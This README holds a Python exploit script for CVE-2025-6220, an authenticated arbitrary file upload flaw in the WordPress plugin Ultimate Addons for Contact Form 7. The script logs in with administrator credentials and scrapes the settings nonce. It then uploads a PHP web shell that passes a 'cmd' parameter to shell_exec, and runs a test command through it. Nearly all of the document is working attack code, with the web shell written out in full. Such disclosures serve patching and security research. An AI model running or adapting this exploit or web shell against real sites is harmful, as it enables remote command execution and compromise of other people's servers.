README.md
Rendering markdown...
# Exploit Title: Ultimate Addons for Contact Form 7 <= 3.5.12 - Authenticated (Administrator+) Arbitrary File Upload via 'save_options'
# Date: 04/24/2025
# Exploit Author: Ryan Kozak https://ryankozak.com
# Vendor Homepage: https://themefic.com/
# Version: <= 3.5.12
# CVE : CVE-2025-6220
import re
import json
import urllib3
import requests
import argparse
import urllib.parse
def extract_uacf7_options_nonce(text):
match = re.search(
r'<input[^>]*id=["\']uacf7_option_nonce["\'][^>]*value=["\']([^"\']+)["\']',
text,
re.IGNORECASE
)
return match.group(1) if match else None
def wp_login(victim_url: str, username: str, password: str):
with requests.Session() as s:
headers1 = { 'Cookie':'wordpress_test_cookie=WP Cookie check' }
datas={
'log':username, 'pwd':password, 'wp-submit':'Log In',
'redirect_to':f"{victim_url}/wp-admin", 'testcookie':'1'
}
s.post(f"{victim_url}/wp-login.php", headers=headers1, data=datas, verify=False)
return(s)
def main():
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Parse command line arguments
parser = argparse.ArgumentParser(description="CVE-2025-6220: An exploit...")
parser.add_argument("victim_url", help="Target url or ip address.")
parser.add_argument("username", help="The username for the WordPress instance.")
parser.add_argument("password", help="The password for the WordPress instance.")
args = parser.parse_args()
# Log into wprdpress and use this session for the requests.
print(f"Logging into: {args.victim_url}/wp-admin")
wp_session = wp_login(args.victim_url,args.username,args.password)
##################################################################################################################################################
# Grab and prase the HTML for the nonce.
##################################################################################################################################################
print("Extracting nonce values...")
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36'}
r = wp_session.get(f"{args.victim_url}/wp-admin/admin.php?page=uacf7_settings", headers=headers, verify=False)
uacf7_options_nonce = extract_uacf7_options_nonce(r.text)
print(uacf7_options_nonce)
##################################################################################################################################################
# Upload the malicious file.
##################################################################################################################################################
print("Uploading web shell: shell.php")
headers = {"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryWjpRiAUONEZ5yCQe"}
data = ''
data += '------WebKitFormBoundaryWjpRiAUONEZ5yCQe\r\n'
data += 'Content-Disposition: form-data; name="uacf7_current_page"\r\n\r\n'
data += 'uacf7_settings_page\r\n'
data += '------WebKitFormBoundaryWjpRiAUONEZ5yCQe\r\n'
data += 'Content-Disposition: form-data; name="uacf7_settings[uacf7_mailchimp_api_key]"\r\n\r\n'
data += '\r\n'
data += '------WebKitFormBoundaryWjpRiAUONEZ5yCQe\r\n'
data += 'Content-Disposition: form-data; name="tf_import_option"\r\n\r\n'
data += ' \r\n'
data += '------WebKitFormBoundaryWjpRiAUONEZ5yCQe\r\n'
data += 'Content-Disposition: form-data; name="uacf7_option_nonce"\r\n\r\n'
data += uacf7_options_nonce+'\r\n'
data += '------WebKitFormBoundaryWjpRiAUONEZ5yCQe\r\n'
data += 'Content-Disposition: form-data; name="_wp_http_referer"\r\n\r\n'
data += '/wp-admin/admin.php?page=uacf7_settings\r\n'
data += '------WebKitFormBoundaryWjpRiAUONEZ5yCQe\r\n'
data += 'Content-Disposition: form-data; name="action"\r\n\r\n'
data += 'uacf7_options_save\r\n'
data += '------WebKitFormBoundaryWjpRiAUONEZ5yCQe\r\n'
data += 'Content-Disposition: form-data; name="file[]"; filename="shell.php"\r\n'
data += 'Content-Type: application/octet-stream\r\n\r\n'
data += '<?php\r\n'
data += '// Silence is golden\r\n'
data += 'if (!empty($_GET[\'cmd\'])) {{\r\n'
data += ' echo "<pre>".shell_exec($_GET["cmd"])."</pre>";\r\n'
data += '}}\r\n'
data += '------WebKitFormBoundaryWjpRiAUONEZ5yCQe--\r\n'
r = wp_session.post(f"{args.victim_url}/wp-admin/admin-ajax.php", headers=headers, data=data, verify=False)
print(r.text)
##################################################################################################################################################
# Test Commands
##################################################################################################################################################
print(f"Web Shell Location: {args.victim_url}/wp-content/uploads/itinerary-fonts/shell.php")
print("")
print("Executing test command: ip addr")
r = requests.get(f"{args.victim_url}/wp-content/uploads/itinerary-fonts/shell.php?cmd=ip addr", verify=False)
print(r.text)
if __name__ == "__main__":
main()